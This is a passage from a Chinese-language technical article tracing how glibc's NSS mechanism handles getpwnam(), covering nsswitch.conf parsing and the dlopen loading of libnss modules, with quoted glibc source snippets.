查询过程。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">先从一个日常场景说起：当你在终端执行 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">id alice</span></code><span leaf=""> 时，系统需要知道用户 alice 的 UID、GID、所属组等信息。这些信息存储在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/passwd</span></code><span leaf=""> 中，但系统并不是直接读文件——而是通过 glibc 提供的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwnam()</span></code><span leaf=""> 函数来查询。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwnam(&#34;alice&#34;)</span></code><span leaf=""> 的含义是：&#34;按用户名（passwd name）查找用户信息&#34;。它返回一个 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">struct passwd</span></code><span leaf=""> 结构体，包含用户名、UID、GID、home 目录、shell 等字段。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">许多常见的系统操作都会间接调用这个函数：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">命令/操作</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">内部调用</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">id alice</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">getpwnam(&#34;alice&#34;)</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">ls -l</span></code><p><span leaf="">（显示文件属主）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">getpwuid(uid)</span></code><p><span leaf="">（按 UID 查）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">ssh alice@host</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">getpwnam(&#34;alice&#34;)</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">sudo</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">getpwuid(uid)</span></code><p><span leaf=""> + </span><code><span leaf="">getpwnam(name)</span></code></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">login</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">getpwnam(&#34;alice&#34;)</span></code></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">而 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwnam()</span></code><span leaf=""> 正是通过 NSS 机制来决定&#34;去哪里查&#34;。接下来我们就追踪这个调用链。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">调用链总览</span></h4><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">应用程序: getpwnam(&#34;alice&#34;)</span><span leaf=""><br/></span><span leaf="">  │</span><span leaf=""><br/></span><span leaf="">  └─ glibc: __getpwnam_r(&#34;alice&#34;, ...)           ← getXXbyYY_r.c 模板展开</span><span leaf=""><br/></span><span leaf="">       │</span><span leaf=""><br/></span><span leaf="">       ├─ __nss_passwd_lookup2(&amp;nip, ...)          ← 获取 passwd 数据库的配置</span><span leaf=""><br/></span><span leaf="">       │    │</span><span leaf=""><br/></span><span leaf="">       │    └─ __nss_database_get(nss_database_passwd, &amp;actions)  ← nss_database.c</span><span leaf=""><br/></span><span leaf="">       │         │</span><span leaf=""><br/></span><span leaf="">       │         └─ nss_database_check_reload_and_get(...)  ← 检查是否需要重新加载配置</span><span leaf=""><br/></span><span leaf="">       │</span><span leaf=""><br/></span><span leaf="">       ├─ __nss_lookup_function(nip, &#34;getpwnam_r&#34;)  ← nsswitch.c</span><span leaf=""><br/></span><span leaf="">       │    │</span><span leaf=""><br/></span><span leaf="">       │    └─ __nss_module_get_function(module, &#34;getpwnam_r&#34;)  ← nss_module.c</span><span leaf=""><br/></span><span leaf="">       │         │</span><span leaf=""><br/></span><span leaf="">       │         ├─ __nss_module_load(module)       ← 确保 .so 已加载</span><span leaf=""><br/></span><span leaf="">       │         │    │</span><span leaf=""><br/></span><span leaf="">       │         │    └─ module_load(module)        ← 实际加载逻辑</span><span leaf=""><br/></span><span leaf="">       │         │         │</span><span leaf=""><br/></span><span leaf="">       │         │         ├─ files/dns → 内置模块，直接绑定函数指针</span><span leaf=""><br/></span><span leaf="">       │         │         └─ 其他 → __libc_dlopen(&#34;libnss_xxx.so.2&#34;)</span><span leaf=""><br/></span><span leaf="">       │         │</span><span leaf=""><br/></span><span leaf="">       │         └─ 从已加载模块中查找 &#34;_nss_files_getpwnam_r&#34; 函数</span><span leaf=""><br/></span><span leaf="">       │</span><span leaf=""><br/></span><span leaf="">       └─ 调用 _nss_files_getpwnam_r(&#34;alice&#34;, ...)  ← 执行实际查询</span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">关键步骤一：读取和解析 nsswitch.conf</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">当进程首次进行 NSS 查询时，glibc 调用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">__nss_database_get()</span></code><span leaf="">（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nss/nss_database.c</span></code><span leaf="">），该函数内部调用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nss_database_check_reload_and_get()</span></code><span leaf="">：</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">检查配置是否变化</span></strong><span leaf="">（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nss_database.c</span></code><span leaf=""> 第 409-414 行）：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">struct</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">file_change_detection</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">initial</span></span><span leaf="">;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!__file_change_detection_for_path (&amp;initial, _PATH_NSSWITCH_CONF))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">false</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">__libc_lock_lock (local-&gt;lock);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (__file_is_unchanged (&amp;initial, &amp;local-&gt;data.nsswitch_conf))</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    *result = local-&gt;data.services[database_index];</span><span leaf=""><br/></span><span leaf="">    __libc_lock_unlock (local-&gt;lock);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">true</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  }</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">glibc 通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">stat()</span></code><span leaf=""> 系统调用检测 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/nsswitch.conf</span></code><span leaf=""> 的</span><strong style="font-weight: bold;color: black;"><span leaf="">文件元信息</span></strong><span leaf="">（大小、修改时间等）是否变化。如果没变，直接返回缓存的配置。如果变化了，就重新打开文件、逐行解析。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">逐行解析</span></strong><span leaf="">（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nss_database.c</span></code><span leaf=""> 第 208-237 行）：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">bool</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">process_line</span></span><span style="line-height: 26px;"><span leaf="">(struct nss_database_data *data, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *line)</span></span><span leaf=""><br/></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 跳过前导空白</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">isspace</span></span><span leaf=""> (line[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">])) ++line;</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 识别 &#34;&lt;database&gt; :&#34; 部分</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *name = line;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> (line[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] != </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;\0&#39;</span></span><span leaf=""> &amp;&amp; !</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">isspace</span></span><span leaf=""> (line[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]) &amp;&amp; line[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] != </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;:&#39;</span></span><span leaf="">) ++line;</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ... 截断冒号和空白 ...</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> db = name_to_database_index (name);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (db &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">true</span></span><span leaf="">;  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 不是 glibc 管理的数据库（如 sudoers），跳过</span></span><span leaf=""><br/></span><span leaf="">  nss_action_list result = __nss_action_parse (line);  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 解析数据源列表</span></span><span leaf=""><br/></span><span leaf="">  data-&gt;services[db] = result;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">true</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">注意第 228-230 行：如果数据库名不在 glibc 已知列表中（如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sudoers</span></code><span leaf="">），会被</span><strong style="font-weight: bold;color: black;"><span leaf="">静默忽略</span></strong><span leaf="">。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">关键步骤二：构造共享库文件名并 dlopen</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">当查询需要使用某个数据源时，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">__nss_module_get_function()</span></code><span leaf="">（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nss/nss_module.c</span></code><span leaf=""> 第 323 行）被调用。它先确保模块已加载，然后查找函数指针。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">加载模块的核心逻辑</span></strong><span leaf="">（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nss_module.c</span></code><span leaf=""> 第 170-189 行）：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">bool</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">module_load</span></span><span style="line-height: 26px;"><span leaf="">(struct nss_module *</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">module</span></span><span leaf="">)</span></span><span leaf=""><br/></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// files 和 dns 是内置模块，不走 dlopen</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">module</span></span><span leaf="">-&gt;name, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;files&#34;</span></span><span leaf="">) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> module_load_nss_files (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">module</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">module</span></span><span leaf="">-&gt;name, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;dns&#34;</span></span><span leaf="">) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> module_load_nss_dns (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">module</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 其他模块：构造文件名并 dlopen</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *shlib_name;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (__asprintf (&amp;shlib_name, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;libnss_%s.so%s&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">module</span></span><span leaf="">-&gt;name, __nss_shlib_revision) &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">false</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  handle = __libc_dlopen (shlib_name);</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">free</span></span><span leaf=""> (shlib_name);</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">文件名构造规则</span></strong><span leaf="">（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nss_module.c</span></code><span leaf=""> 第 43-44 行）：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> __nss_shlib_revision</span><span leaf=""><br/></span><span leaf="">    = LIBNSS_FILES_SO + </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;libnss_files.so&#34;</span></span><span leaf="">) - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">LIBNSS_FILES_SO</span></code><span leaf=""> 是编译时生成的宏，值为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">&#34;libnss_files.so.2&#34;</span></code><span leaf="">。通过指针偏移提取出 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">&#34;.2&#34;</span></code><span leaf=""> 部分。然后用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">__asprintf</span></code><span leaf=""> 拼接为：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">libnss_&lt;数据源名&gt;.so.2</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">例如数据源名为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><span leaf=""> → </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_files.so.2</span></code><span leaf="">，数据源名为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">ldap</span></code><span leaf=""> → </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_ldap.so.2</span></code><span leaf="">。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">__libc_dlopen</span></code><span leaf=""> 的搜索路径</span></strong><span leaf="">：</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">__libc_dlopen</span></code><span leaf=""> 是 glibc 内部版本的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlopen</span></code><span leaf="">，它</span><strong style="font-weight: bold;color: black;"><span leaf="">不受</span></strong><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">LD_LIBRARY_PATH</span></code><span leaf=""> 环境变量影响（出于安全考虑）。它搜索的路径由 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/ld.so.cache</span></code><span leaf=""> 和默认路径 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/lib/x86_64-linux-gnu/</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/usr/lib/x86_64-linux-gnu/</span></code><span leaf=""> 决定。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">加载后查找函数</span></strong><span leaf="">（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 